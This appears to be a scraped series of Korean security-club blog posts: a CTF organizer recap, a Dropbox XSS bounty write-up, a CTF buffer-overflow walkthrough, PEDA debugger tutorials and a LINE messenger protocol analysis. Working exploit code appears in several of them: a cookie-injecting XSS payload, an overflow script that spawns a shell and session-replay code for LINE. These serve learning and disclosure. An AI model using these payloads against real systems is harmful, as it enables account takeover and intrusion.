안녕하세요, 이번 HeXA CTF 2016 운영 총괄을 맡은 HeXA 회장 겸 해킹부장 김동민(SleepyBear)입니다. 아무것도 모르고 Layer7 CTF와 Holyshield CTF에 참여했던 고등학생 때가 엊그제같은데 직접 CTF를 운영하게 되었네요.

UNIST 교내 학생만들을 대상으로 하는, CTFTime이나 국내 고등학교, 대학교 동아리 개최 CTF들에 비해서는 작은 규모였지만 제게는 문제를 푸는 입장을 넘어서 지금까지 공부한 것을 토대로 출제진과 함께 문제를 만들어 제공하는 기회가 되어 의미있었던 것 같습니다.

플랫폼

이번 CTF에서는 페이스북에서 제공한 오픈소스 CTF 플랫폼을 사용해보았습니다. 실시간 스코어보드 및 그래프, King of the Hill(거점점령)문제 지원, Quiz 지원(대소문자를 구별하지 않는 단답형 flag), 문제별 Breakthru 지정, Admin Dashboard 기능이 마음에 들어서였습니다.

하지만 대회 당일에 웹사이트 속도가 급격히 느려져서 대회 기간동안 진땀뺐습니다… 테스트때는 스탭들만 접속해봐서 느려진다는걸 전혀 못느꼈거든요. 서버 CPU 점유율이 점점 올라가길래 재부팅도 해보고, hhvm 퍼포먼스 관련 이슈도 해결해보겠다고 조마조마하면서 라이브 패치도 하고… 중간에 플랫폼을 옮길까 생각도 해보았지만 결국 점수 관리때문에 문제만 따로 모아둔 Google Docs를 제공할 뿐이었습니다.

이 밖에도 준비하는 과정에서 회원가입 시 입력한 이메일이 DB에 저장되지 않는다던가, 스코어보드 그래프가 일정 시간 이후가 표시되지 않는다던가 하는 잔버그들이 너무 많았습니다. OTL. 다음에는 HeXA CTF 2015때 이용했던 플랫폼에 이번에 마음에 들었던 기능들을 추가해서 사용할 것 같습니다.

문제

저를 포함한 6명이 총 33문제를 만들었습니다. 저는 포렌식 문제를 좋아해서 포렌식 위주로 문제를 내보았습니다. 포렌식 문제에 주어진 자료를 분석하는 것과 자료를 만드는 것은 전혀 다른 경험이더라구요. 랜섬웨어에 감염되어볼까도 생각해보고, VM 이미지를 어떻게 하면 깔끔하게 만들어 제공할 수 있을까 한참 고민해보기도 했습니다. 결국 이번에 저는 기술적인 문제보다는 트릭을 이용한 문제를 많이 만들었습니다.

가상의 인물을 만들어 신상을 털게 해볼까 하는 아이디어에서 출발한 ‘레스토랑스의 습격’ 문제와 지하철 노선도를 이용한 뿌링클 기프티콘 이벤트문제도 dohan0930이 만들었어요. 재미있는 경험이었고 앞으로 제가 경험한 다양한 사례들을 문제에 녹여낼 수 있게 부지런히 공부해야겠다고 다짐했습니다.

마무리

이번에 출제된 문제를 바탕으로 HeXA 멤버들을 위한 워게임 사이트를 만들 계획을 하고있습니다. 이런 문화를 만들어주신 선배님들께 감사하고, CTF에 참여해주신 분들도 모두 감사합니다!

Beginning

First, I think many people know that a html file uploaded on dropbox shows with rendering, and without any escaping. It means that, if we write down a JavaScript code to the html file, we can easily execute a JavaScript code on the html page without any problem. But, the script is executed on a sandbox domain, dl-web.dropbox.com. The important session is a httponly cookie, so we can’t easily steal the user session.

In this situation, I can set any cookie on dropbox.com domain (not www.dropbox.com). It means that it may be able to influence on www.dropbox.com. If main dropbox page do something using the cookie on dropbox.com, then maybe I can do something on www.dropbox.com

Vulnerability

I found a some nice thing, Flash. After cookies, “flash” and “bang”, are given, dropbox page draws a pop-up box which is containing a text in “flash”. But, “bang” was a problem. It seems like a hmac of “flash”. So, I need to find “bang” value of my custom “flash”.

I also found a function which unlinks device in security setting page. If I unlink a some device, then it shows me a flash message, which is containing device name. So, I set the device name (iphone name) to a XSS text, and I unlinked it.

Exploit

Now, I can set “flash” and “bang” value to any text.

Then, set the malicious cookie in a html. After that, make victim to move page to www.dropbox.com (trigger flash message).

1
2
3
4
5
6
7
<script>
document.cookie="bang=QUFEZGthYS1CaTNfWUpYcDUwdjNxemVHSHlhSHJkU3BEdnhKRUxOZVZ3b2ZoUQ%3D%3D;
Domain=dropbox.com; Path=/;";
document.cookie="flash=b2s6PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik%2BIHVubGlua
2VkIHN1Y2Nlc3NmdWxseS4%3D; Domain=dropbox.com; Path=/";
location.href="https://dropbox.com/forgot";
</script>

There is a CSP. But, the script is executed on IE or Safari.

+) Currently, common XSS on dl-web.dropbox.com is out of scope for bounty.
+) Now, I think a flash depends on only one session.

2015/05/02 Fixed, A bounty of $1,331

Author: tunz

200점짜리 문제로, 많은 팀들이 가장먼저 푼 문제입니다.

문제가 나오고 정말빨리 풀렸는데, 저는 처음에 문제 제목에 현혹되어 shellshock인줄 알고 헤메느라 시간이 많이 걸렸네요… ㅠㅠ
실제로 당황스럽게도 대회 서버에서 CVE-2014-6277이 먹혔더라죠… ;;

하지만 차분히 생각해보면 shellshocksetuid가 걸려있는 바이너리안에서 bash를 호출해야한다는 점과 환경변수를 필요로 한다는점을 생각해보면 이 문제에서는 shellshock를 사용할 수 없다는걸 바로 알 수 있습니다.

이걸 생각못해서 날린 시간이 몇시간인지.. 흙흙

여튼, 이 문제는 shellshock를 이용해서 푸는 문제가 아닌 strcat을 이용한 단순한 오버플로우 문제입니다. 제대로 된 풀이만 바로 떠올리면 정말 빨리 풀 수 있는 문제이지요… 실제로 문제가 나오자마자 엄청 빠른 속도로 풀린 문제이기도 합니다.

그럼 각설하고 풀이로 들어가보도록 하겠습니다!

문제환경

오호 정확히 strlen의 인자로 넣어준 A들이 들어간것을 볼 수 있습니다.

그럼 이제 해야할것은 argv[1]의 포인터를 덮어씌우기 위해 앞에 몇개의 A를 넣어줘야하는지와 어떤 값으로 덮어써야할지를 정하면 되겠습니다.

어떤값으로 덮어써야할지는 비어있는 문자열 즉 null이 들어있는 주소로 덮어주면 됩니다. 그러면 strlen의 리턴값이 0이 되고, 입력값 검사를 우회할수 있게 됩니다. 그런데 여기서 또 생각해 줘야할 부분이 서버에는 ASLR이 걸려있어 주소들이 랜덤이고 32비트가 아니라 ulimit -s unlimited 같은 꼼수도 못부립니다 ㅠㅠ.. 하지만! 64비트에도 고정인 주소가 있으니… 바로 그부분은 vsyscall 영역입니다.

끝부분에 보이는

1
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]

부분은 ASLR이 걸려있더라도 고정인 주소로 매핑됩니다. 그렇다면 이 vsyscall 영역에 null이 들어있는 주소가있다면?! 그 주소로 strlen의 인자, 즉 argv[1]의 포인터를 덮어씌우면 끝나게 됩니다.

그러면 이제 이 vsyscall 영역에 null문자열이 있는지 한번 찾아봅시다.

찾는방법은 여러가지 있겠으나 저는 peda의 searchmem 기능을 이용하여 찾았습니다.
vsyscall 영역에서 null(0x00) 으로 찾으니 꽤 많이 나오는데 이 중에서 값의 중간에 0x00 널값이 포함안되는 값으로 아무거나 하나 정해주면됩니다.

null이 들어가면 안되는 이유는 문제 바이너리를 실행할때 인풋을 argv[1]로 넘겨주는데 이 argv[1]은 중간에 null값이 들어갈 수 없기 때문입니다. ( null 값이 들어가면 null뒤의 값들은 짤립니다.. ㅠㅠ )

여튼 그럼 저는 적당히 0xffffffffff600405 로 골라서 하도록 하겠습니다.

이제 남은일은 앞에 더미값인 A를 몇개나 입력해줘야하는가 인데, 자세히 분석해서 알아낼 수도 있겠지만 대회 특성상 문제를 빨리풀어야하는걸 고려해서 peda의 pattern 명령어를 사용하여 자세히 분석하지 않고도 쉽게 알아낼수 있는 방법을 쓰도록 하겠습니다.

pattern create 1024 pattern.txt 를 입력하면 pattern.txt 라는 파일에 1024개의 패턴 문자가 쓰여지게 됩니다.
그리고 실행할때 r cat pattern.txt 로 실행을 하면 방금 만든 pattern 값들을 argv[1]로 넘기면서 실행할 수 있습니다.

이렇게 실행을 하면,

이렇게 strlen의 인자가 패턴값으로 덮힌것을 알 수 있습니다.

이상태에서 pattern.txt 파일을 열어 ANsA8sAi 의 문자열을 찾아 ( 리틀엔디안이므로 문자열을 뒤집은 것입니다. ) 이 문자열앞의 문자 갯수를 python len 함수같은것을 이용하여 세어봐도 되고, peda의 pattern search 라는 기능을 이용해도 됩니다.

pattern search를 해보면 offset이 525로 나오는데 이게 우리가 구할 offset과 일치합니다.

이렇게 offset을 구했으니 “A” 525개 + “B” 8개 를 넣어서 offset이 맞는지 한번 확인해보도록 하겠습니다.

strlen에 breakpoint를 걸은후, perl -e'print"A"x525, "B"x8' 로 실행시키면 정확히 strlen의 인자로 BBBBBBBB가 들어가는것을 볼 수 있습니다.

그럼 이제 BBBBBBBB 부분 대신에 아까 구해준 null이 들어있는 주소, 0xffffffffff600405 으로 대신 넣어주고 “A”525개에 A만 넣는게 아니라 실행시킬 명령어도 포함시켜 주면 입력값 검사를 안받게되고 임의의 명령어를 실행시킬수 있게 됩니다.

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# exploit.py
# ./shock "`cat payload`"
from struct import pack
f = open("payload", "w")
null_addr=0xffffffffff600405
cmd="HACKED;cat flag;/bin/sh;#"
payload = cmd + "A"*(525-len(cmd))
payload+= pack("<Q", null_addr)
f.write(payload)
f.close()

궁금한부분이 있거나 수정할 부분이 있으면 언제든 말해주세요!

작성자: l34p

많은 양의 활동보고서를 일일히 수정해서 쓰는 것에 불편함을 느껴, 날짜/활동내용/참가자 명단 등을 입력하면 자동으로 보고서를 만들어주는 사이트를 만들었습니다.

먼저, 다음과 같이 내용을 작성하고 사진을 업로드 합니다.
그 후 Upload 버튼을 누르면,

위 사진처럼 파일을 다운받을 수 있게 됩니다.

위에 적었던 내용들이 다음과 같이 폼에 들어가 작성되며, 사진 또한 크기에 맞춰서 들어갑니다.

출결 여부를 체크하지 않은 사람은 불참으로 기록되며, 출석 인원에서 제외됩니다.
파이썬으로 작성했으며, Flask를 사용했습니다.

code

작성자: fresh-mango-tree

이번 포스팅에서는 PEDA에는 어떤 기능들이 있는지, 실제로 어떤식으로 활용할 수 있는지에 대해 살펴보도록 하겠습니다.

PEDA 기본 인터페이스

우선 PEDA의 기본적인 화면은 위와 같습니다.

display 같은 걸 해주지 않으면 기본적으로 화면에 아무것도 안 나오는 gdb와 달리 PEDA는 기본적으로 현재 레지스터의 상태와 실행 중인 명령어와 그 주변 명령어들, 스택의 내용물 등을 표시해줍니다.

특히나 정말 멋진 기능 중 하나는 포인터를 따라가서 그 내용물까지 보여주는 기능입니다.
위 그림에서 레지스터 부분이나 스택 부분을 보면 포인터를 따라가서 그 안의 내용까지 보여주는 걸 볼 수 있습니다. PEDA 짱짱맨!!

그러면 이제 PEDA의 다양한 기능들을 하나씩 하나씩 들여다보겠습니다.

pdisas

pdisas는 gdb에서 쓰던 disas 명령어의 확장판입니다.

위 그림을 보면 알 수 있듯이 pdisas를 사용하면 알록달록한! 컬러풀한! 가독성이 더 높아진 버전의 disas 결과물을 볼 수 있습니다. PEDA는 gdb의 확장이므로 물론 원래 gdb의 기능들도 모두 사용 가능합니다. 그래서 pdisas 와 disas를 위 그림처럼 비교해보면 확실히 pdisas가 컬러링이 잘 돼있어 가독성이 높은 걸 알 수 있습니다.

How to use

1
gdb-peda$ pdisas "Function Name"

Example

1
gdb-peda$ pdisas main

context code / register / stack

context 명령어는 별다른 기능이 아니라 맨 처음에 보여드렸던 PEDA 기본인터페이스 에서 code영역 register영역 stack영역을 따로 따로 볼 수 있는 기능입니다.

How to use

1
gdb-peda$ context "code/register/stack/all" ( context 만 입력시엔 context all 과 같습니다. )

Example

1
2
3
gdb-peda$ context
gdb-peda$ context code
gdb-peda$ context all

session save / restore

session 명령어! 정말 편리한 기능을 제공하는 명령어입니다.
기존 gdb에서는 열심히 분석하면서 break point도 걸어놓고 watch point도 걸어놓고 해 놓더라도 gdb를 껐다 다시 키면 전부 없어지는데 peda에서는 session이라는 명령어로 break point와 같은 설정들을 저장하고 불러오는게 가능합니다.

위 그림에서도 맨 처음에 info b 를 했을때, “No breakpoints or watchpoints” 가 나오는데 session restore 명령어를 치고 난 후 info b 를 해보면 저장해 놓았던 설정들을 그대로 가져오는 것을 볼 수 있습니다.

How to use

1
2
gdb-peda$ session save "파일이름" ( 파일이름 생략시엔 peda-session-"실행파일이름".txt 로 저장 )
gdb-peda$ session restore "파일이름" ( 파일이름 생략시엔 peda-session-"실행파일이름".txt 로드 )

Example

1
2
3
4
gdb-peda$ session save
gdb-peda$ session restore
gdb-peda$ session save MySession
gdb-peda$ session restore MySession

snapshot save / restore

이것도 상당히 재밌는 기능인데, session 이 break point나 watch point 들을 저장하고 불러온다면 이 명령어는 아예 현재 디버깅중인 프로세스의 스냅샷을 찍어 저장하고 불러올수있게 합니다. 사용법은 session과 동일합니다.

vmmap

이 명령어는 현재 디버깅 중인 프로세스의 Virtual Memory MAP을 보여줍니다.
그냥 vmmap 만 입력할 시에는 vmmap all 과 같으며 위 그림과 같이 vmmap binary, vmmap stack 이런 식으로 특정 메모리 영역만 볼 수도 있습니다.

원래 gdb로 했었더라면 현재 프로세스의 pid를 알아내고 shell cat /proc/“pid”/maps 를 해서 봐야 했을 텐데 PEDA를 사용하면 아주 간단하게 메모리 매핑 상태를 보는 게 가능합니다.

여기서 추가적으로 더 나아가서 얘기하자면, vmmap stack을 사용해서 현재 stack의 권한을 보고 해당 바이너리가 NX가 걸렸는지 안 걸렸는지도 알 수 있습니다.

How to use

1
gdb-peda$ vmmap "all/binary/libc/stack/ld ..." ( 인자를 생략할 시에는 vmmap all 과 같습니다. )

Example

1
2
3
gdb-peda$ vmmap
gdb-peda$ vmmap libc
gdb-peda$ vmmap stack

checksec

이 명령어는 현재 바이너리에 걸려있는 보안 기법들을 보여줍니다. 사용법은 간단히 그냥 checksec을 입력하기만 하면됩니다. 근데 여기서 주의해야 할 게 다른 건 몰라도 여기서 표시되는 NX는 별로 신뢰하지 않는 게 좋습니다. 버그가 있는지는 몰라도 NX가 안 걸려있는데 걸려있다고 나온다던가… 이런 경우가 몇 번 있어서 통수 맞은 적이 있네요 ㅠㅠ

그래서 밑에서 소개할 nxtest 라는 명령어 또는 vmmap stack과 같은 명령어로 다른방법을 사용해서 NX는 따로 체크해주시는게 좋을 것 같습니다.

How to use

1
gdb-peda$ checksec

nxtest

nxtest는 말그대로 NX 가 걸려있는지 테스트 해주는 명령어로 스택에 실행권한이 있는지 체크합니다.

How to use

1
gdb-peda$ nxtest

procinfo / getpid

procinfo 는 현재 디버깅중인 프로세스의 정보를 위 그림과 같이 표시해 줍니다.
pid만 필요하다면 getpid 명령어를 사용하는걸로 pid만 얻을수도 있습니다.

How to use

1
2
gdb-peda$ procinfo
gdb-peda$ getpid

elfsymbol

이게 또 참 편리한 기능인데, elfsymbol이라는 명령어로 현재 디버깅 중인 바이너리의 plt 주소, got 주소 등을 알 수 있습니다. exploit 코드를 작성할 때 got overwrite을 한다거나 got 주소를 leak 시켜온다거나 여러 가지의 상황에서 plt 주소와 got 주소가 필요한 경우가 종종 있는데 이럴때 elfsymbol 명령어를 이용하면 아주 쉽게 정보를 얻을 수 있습니다.

How to use

1
gdb-peda$ elfsymbol "symbol" ( 인자를 생략하면 symbol들을 모두 보여줍니다. )

Example

1
2
gdb-peda$ elfsymbol
gdb-peda$ elfsymbol printf

elfheader

elfheader 명령어는 현재 디버깅 중인 바이너리의 헤더 정보들을 보여줍니다. 이 기능도 exploit 코드를 작성할 때 종종 bss 영역의 주소가 필요하다거나 하는 경우가 있는데 이럴 때 사용하면 유용합니다.

How to use

1
gdb-peda$ elfheader

Example

1
2
gdb-peda$ elfheader
gdb-peda$ elfheader .bss

find / searchmem

find와 searchmem 은 동일한 명령어로 아무거나 선호하는 걸로 사용하시면 되며, 이 명령어는 메모리 영역에서 특정 패턴을 찾아줍니다.
다양한 방법으로 응용될 수 있는데, 몇가지 예시를 들자면 위 그림과 같이 /bin/sh 문자열의 주소를 찾는다던가 특정 OPCODE를 메모리에서 찾는다던가 하는게 가능합니다.

How to use

1
gdb-peda$ find/searchmem "pattern" "범위" ( 범위부분을 생략하면 binary 영역으로 세팅 됩니다.)

Example

1
gdb-peda$ find /bin/sh libc

ropgadget / ropsearch / dumprop

ropgadget 과 ropsearch 명령어는 ROP를 할 때 필요한 가젯들을 쉽게 찾을 수 있도록 도와주는 명령어입니다. ropgadget은 자주 쓰이는 가젯들인 pop-ret, leave-ret, add esp 와 같은 가젯들을 찾아줍니다. 또한 ropsearch는 원하는 특정 가젯을 찾을 수 있도록 도와줍니다.

dumprop도 비슷한 명령어인데, 이 명령어는 특정 가젯을 찾기 보다 특정 메모리 영역에서 모든 가젯들을 보고 싶을 때 유용합니다. 하지만 ropsearch ‘’ binary 이런 식으로 사용하면 ropsearch 로도 dumprop와 비슷하게 사용할 수 있습니다.

How to use

1
2
3
gdb-peda$ ropgadget binary/libc/vdso/all ... ( 인자를 생략하면 ropgadget binary 와 같습니다. )
gdb-peda$ ropsearch "gadget" "범위" ( gadget 부분을 '' 로 빈 상태로 보내면 모든 가젯을 찾습니다. )
gdb-peda$ dumprop "범위" ( 인자를 생략하면 dumprop binary 와 같습니다. )

Example

1
2
3
4
5
6
7
8
gdb-peda$ ropgadget
gdb-peda$ ropgadget libc
gdb-peda$ ropsearch "add esp, ?" binary
gdb-peda$ ropsearch "int 0x80" libc
gdb-peda$ ropsearch "" binary ( binary 범위에서 모든 가젯을 찾습니다. )
gdb-peda$ ropsearch "pop ?" 0x08048000 0x0804b000
gdb-peda$ dumprop binary
gdb-peda$ dumprop 0x08048000 0x0804b000

jmpcall

이 명령어도 ROP 할 때 유용한 가젯들을 찾아주는데, 그중 jmp와 call 가젯들을 전부 찾아줍니다. 그냥 jmpcall 만 입력하면 바이너리 영역 내의 모든 jmp, call 가젯들을 찾아주며 jmpcall esp libc 처럼 특정 메모리 영역 내의 특정 jmp, call 가젯들만 찾을 수도 있습니다.

How to use

1
gdb-peda$ jmpcall "register" "범위" (인자들을 모두 생략하면 jmpcall "" binary 와 같으며, 바이너리 영영 내 모든 jmp, call 가젯들을 찾아줍니다.)

Example

1
2
3
4
5
gdb-peda$ jmpcall
gdb-peda$ jmpcall "" libc
gdb-peda$ jmpcall esp libc
gdb-peda$ jmpcall [eax] libc
gdb-peda$ jmpcall eax ( jmpcall eax binary 와 같습니다. )

shellcode

PEDA에는 기본적으로 제공해주는 쉘코드가 몇 가지 있는데 shellcode generate 란 명령어로 현재 가능한 쉘코드 종류를 볼 수 있고, shellcode generate x86/linux exec 이런 식으로 지정하여 필요한 쉘코드를 바로바로 얻을 수도 있습니다.

현재 PEDA에 기본적으로 내장되어 있는 쉘코드는 x86/linux, bsd 뿐이지만 shellcode search나 display로 쉘코드를 웹에서 가져올 수도 있습니다.

Example

1
gdb-peda$ shellcode generate x86/linux exec

이 외에도 PEDA는 많은 기능들을 제공하는데, PEDA에서 제공하는 다른 기능들도 살펴보시고 싶으시면, phelp 또는 peda help 를 입력하셔서 쭉 훑어보시면 됩니다.

PEDA 명령어나 명령어 활용법에 대해 다른 참고할만한 자료 및 사이트

  1. http://ropshell.com/peda/Linux_Interactive_Exploit_Development_with_GDB_and_PEDA_Slides.pdf
  2. http://security.cs.pub.ro/hexcellents/wiki/kb/toolset/peda

수정할 내용이나 더 추가할 내용이 있다면 알려주세요!

작성자: l34p

Introduction

PEDA는 Python Exploit Development Assistance for GDB 의 줄임말로 말 그대로 리눅스에서 디버깅할 때 흔히 사용하는 gdb에 exploit을 할때 도움이 되는 다양한 기능을 추가시켜주는 gdb python script 입니다.

밋밋한 gdb 만 쓰다 PEDA를 적용하여 사용해보시면 색도 알록달록하고 강력한 기능에 신세계를 경험하실 수 있을겁니다!

PEDA에 대한 자세한 내용은 아래의 URL에서 확인하실 수 있습니다.

  1. https://github.com/longld/peda
  2. http://ropshell.com/peda/

Installation

설치 방법 및 적용 방법은 매우 간단합니다. (사실 ubuntu 최신 버전과 같이 gdb의 python 버전이 3.x 인 경우에는 쬐에에끔… 복잡할 수 있습니다.)

그래서 우선! 현재 설치하려고 하는 환경의 gdb가 어떤 버전의 python을 사용하고 있는지 확인해 보도록 하겠습니다.

gdb를 키고 python print(sys.version) 를 입력하여 python 버전을 확인합니다.

1
2
$ gdb -q
$ (gdb) python print(sys.version)

여기서 결과가 2.7.3 이런식으로 2 버전대로 나온다면 ,
PEDA파일을 받아오고 .gdbinit에 PEDA파일을 불러오는 내용만 추가해 주시면 됩니다.

1
2
$ git clone https://github.com/longld/peda.git ~/peda
$ echo "source ~/peda/peda.py" >> ~/.gdbinit

저 두줄만 입력하여 주시면 PEDA 설치와 설정이 끝나게 됩니다.

하지만… 결과가 3.4.0 이런식으로 3 버전대로 나온다면, 위 두줄의 명령어를 실행하여 PEDA를 설치한 다음 gdb를 2버전대의 python으로 새로 컴파일 해주어야 합니다. 그 과정은 아래와 같습니다.

  1. 현재 설치되어 있는 gdb를 지워줍니다.

    1
    $ sudo apt-get remove gdb
  2. gdb 소스를 받아옵니다.
    http://ftp.gnu.org/gnu/gdb/ 여기로 들어가셔서 gdb-7.8.2.tar.gz 를 받아주시면 됩니다.
    ( 2015년 2월 25일 현재 7.9버전까지 있으나 7.9버전에는 오류가 발생하여 잘 안되는것 같습니다. )

  3. 다운로드 받은 gdb-7.8.2.tar.gz 의 압축을 풀어줍니다.

    1
    $ tar -xvf "다운로드 받은 경로"/gdb-7.8.2.tar.gz
  4. python 2.7-dev 패키지 다운로드

    1
    $ sudo apt-get install python2.7-dev
  5. libncurses5-dev 패키지 다운로드

    1
    $ sudo apt-get install libncurses5-dev
  6. 압축해제한 gdb소스가 있는 경로로 이동하여 아래의 내용을 입력합니다.

    1
    2
    3
    $ ./configure --with-python=python2
    $ make
    $ sudo make install

여기까지 따라오시느라 수고 많으셨습니다!
제대로 설치가 되었다면 아래와 같은 화면을 볼 수 있습니다.

작성자: l34p

Let’s send a message

If you need a python code right away, then please keep in touch with https://github.com/carpedm20/LINE

After I analyzed LOCO protocol of KakaoTalk, I’ve been curious about the operation of other messaging applications. Like KakaoTalk, LINE is the instant messaging application on smartphones and PCs. LINE is not popular in Korea, but media currently said that LINE is one of the most popular messaging app in Japan. So, I decided to analyze the protocol of LINE and I’ll record the steps that I followed in this post. My final goal is to implement the LINE protocol in python, especially sending and receiving messages.

1. Download xap file

First of all, I needed a xap file of LINE windows mobile application, so I searched it on Google.

Finally, I found the old version of LINE xap file (version : 1.7.0.71). The latest version of windows LINE application is 2.7.0.155.

2. Unzip xap file

The first thing that attracted me was ‘Line.dll’ file and I guessed it may have core functions for the chat protocol. And also, I could see ‘Thrift.dll’ which is the library for Thrift framework. After I searched Google for a moment, I found that Thrift is an open source project for cross-language service built by Apache.

Now, I knew LINE uses Thrift library for network communication, which is not their own protocol, so I thought it might be easy to implement LINE chat system (compare to LOCO protocol).

3. Packet Analysis

Before I did the static analysis, I used Windows mobile phone emulator for the packet analysis. Of course, the network between application and server was encrypted using https. There were some packets which seem to be TCP protocol but I focused on the HTTP communication. After looked over the packet, I used .Net reflector to see the real decompiled source code of applications.

I searched https as a string, changed them to http, and re-zipped the xap file. At this point, I found out that the DNS of main server for chat communication was gm.line.naver.jp. Especially, gm.line.naver.jp/S3 is used for authorization and chat service for LINE.

http://gm.line.naver.jp/api/v3/TalkService.do for talkSession

Then, I could see the plain chat communication between server and client in the packets.

I’m not sure that HTTP is LINE’s main protocol, because LOCO protocol of KakaoTalk used their own packet structure which was encrypted with AES. As you can see, LINE doesn’t encrypt any messages, so I can see the plain message from packet. Also, X-Line-Access, which was included in the header, seems like a session key, so I was wonder whether the previous session can be used for communication or not. So I quickly wrote a dirty python code which send the exactly same packet to the server…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/python
# -*- coding: utf-8 -*-
__author__ = 'carpedm20'
import urllib2
def send():
url = 'http://gm.line.naver.jp/S3'
headers = {
'POST' : '/S3',
'X-Line-Application' : 'WINPHONE.1.7.0.71.WindowsPhone.7.10.7720',
'Referer' : 'file:///Applications/Install/???/Install/',
'Accept-Encoding' : 'identity',
'Content-Type' : 'application/x-thrift',
'Accept' : 'application/x-thrift',
'X-Line-Access' : '???',
'Connection' : 'Keep-Alive',
'User-Agent' : 'WindowsPhone 1.7.0.71',
'HOST' : 'gm.line.naver.jp',
'Cache-Control' : 'no-cache'
}
data='\x80\x01\x00\x01\x00\x00\x00\x0b\x73\x65\x6e\x64\x4d\x65' + \
'\x73\x73\x61\x67\x65\x00\x00\x00\x00\x08\x00\x01\x00\x00' + \
'\x00\x00\x0c\x00\x02\x0b\x00\x02\x00\x00\x00\x21\x75\x30' + \
'\x33\x39\x61\x31\x64\x39\x62\x33\x34\x35\x37\x61\x64\x39' + \
'\x39\x35\x61\x66\x36\x36\x62\x34\x64\x64\x64\x30\x38\x30' + \
'\x65\x36\x38\x0b\x00\x0a\x00\x00\x00\x06\x51\x77\x65\x71' + \
'\x77\x65\x02\x00\x0e\x00\x00\x00'
request = urllib2.Request(url, data, headers)
response = urllib2.urlopen(request)
print "[*] Result "
data = response.read()
print data
#data = json.loads(data ,encoding='utf-8')
if __name__ == '__main__':
send()

It worked pretty well!

HTTP(S) data

Now, I decide to analyze the LINE protocol in more detail.

4. HTTP(S) Analysis

There are two particular headers, one is X-Line-Application and the other is X-Line-Access. The first header, X-Line-Application, specify the kind of mobile phone, which is not that interesting one ;(

However, the second header X-Line-Access seems like a session key and part of the key is encrypted by Base64. I’ll talk about this later. Anyway, after I decode the encrypted data, I can get iat: 1378973334524 (string data) and ��" [���<Z� � 5wxwO� (byte[] data)

The format of POST data seems like ‘bson’ string which is used in LOCO protocol but it isn’t. To find out how the application deals with the session key and what kind of data type is used for POST data, I used .NET Reflector again and find out some interesting functions like send_sendMessage(int seq, Message message).

As you can see in this picture, there is a string sendMessage which also can be found in the POST data. Therefore, I guess that this sendMessage function makes the POST data. I also figure out that WriteMessageBegin() and WriteMessageEnd() are the functions for Thrift platform. I keep read some posts and decompiled codes to find out how Thrift works, but I can’t figure out the exact structure of Thrift HTTP protocol.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
## VERSION of Thrift protocol ##
# TBinaryProtocol.VERSION_1 | type
data = '\x80\x01\x00\x01'
## Function ##
# \x00\x00\x00\x0b : sendMessage
# \x00\x00\x00\x0f : fetchOperations, for read message
data += '\x00\x00\x00\x0b' # length of function
data += 'sendMessage'
## Message information for static message ##
## (not include sticker information) ##
data += '\x00\x00\x00\x00'
data += '\x08\x00\x01\x00'
data += '\x00\x00\x00\x0c'
data += '\x00\x02\x0b\x00'
# \x01\x00\x00\x00 : from
# \x02\x00\x00\x00 : to
data += '\x02\x00\x00\x00' # to
data += '????' # chat id to send message
data += '\x0b\x00\x0a' # ChatId footer
## User input : not included in Thift protocol ##
message = raw_input(">> ")
## Length of message ##
#data += '\x00\x00\x00\x10' # \x06 : length
data += struct.pack('>I',len(message))
## Message ##
#for i in range(16):
# data += chr(49 + i) # 65 : A, 49 : 1
data += message
## Message footer ##
#data += '\x0a\x02\x00\x0e\x00\x00\x00'
data += '\x02\x00\x0e\x00\x00\x00'

The bellow picture is the structure of Thrift packet based on the packet analysis that I took. (which may include some errors)

And the bellow code is a short python code which can be used to send message to someone (not me).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/python
# -*- coding: utf-8 -*-
__author__ = 'carpedm20'
import urllib2
import struct
url = 'http://gm.line.naver.jp/S3'
headers = { 'POST' : '/S3',
'X-Line-Application' : 'WINPHONE.1.7.0.71.WindowsPhone.7.10.7720',
'Referer' : 'file:///Applications/Install/A18DAAA9-9A1C-4064-91DD-794644CD88E7/Install/',
'Accept-Encoding' : 'identity',
'Content-Type' : 'application/x-thrift',
'Accept' : 'application/x-thrift',
'X-Line-Access' : '????';
'Connection' : 'Keep-Alive',
'User-Agent' : 'WindowsPhone 1.7.0.71',
'HOST' : 'gm.line.naver.jp',
'Cache-Control' : 'no-cache'}
def send():
data = '\x80\x01\x00\x01\x00\x00\x00\x0b'
data += 'sendMessage'
data += '\x00\x00\x00\x00\x08\x00\x01\x00\x00\x00\x00\x0c\x00\x02\x0b\x00\x02\x00\x00\x00'
data += '????' # chat id to send message
data += '\x0b\x00\x0a'
message = raw_input(">> ")
data += struct.pack('>I',len(message))
data += message
data += '\x02\x00\x0e\x00\x00\x00'
request = urllib2.Request(url, data, headers)
response = urllib2.urlopen(request)
print "[*] Result "
data = response.read()
for d in data:
print "%#x" % ord(d),
print
def read():
data = '\x80\x01\x00\x01' # TBinaryProtocol.VERSION_1 | type
data += '\x00\x00\x00\x0f'
data += 'fetchOperations'
data += '\x00\x00\x00\x00\x0a'
data += '\x00\x02\x00\x00\x00\x00\x00\x00\x00\xf9\x08\x00\x03\x00\x00\x00\x14\x00'
request = urllib2.Request(url, data, headers)
response = urllib2.urlopen(request)
print "[*] Result "
data = response.read()
for d in data:
print "%#x" % ord(d),
print
print data
while 1:
send()

I can also figure out how to send an emoticon message through LINE. I wish I can send some emoticons, which I have to buy to use them, but it doesn’t worked with an error message “current user does not have this sticker” :(

ps. you can send some charged emoticons in LOCO protocol for nothing :)

Session key

Finally, I want to talk about session key and auth key.

5. Session key

At first, I tried to follow UpdateAuthToken() function because this function adds the X-Line-Access header to the HTTP protocol. As I followed this function, I finally arrived to create() function which updates the old session key. It wasn’t hard to understand how this function updates authKey, but I couldn’t figure out when LINE change an auth key.

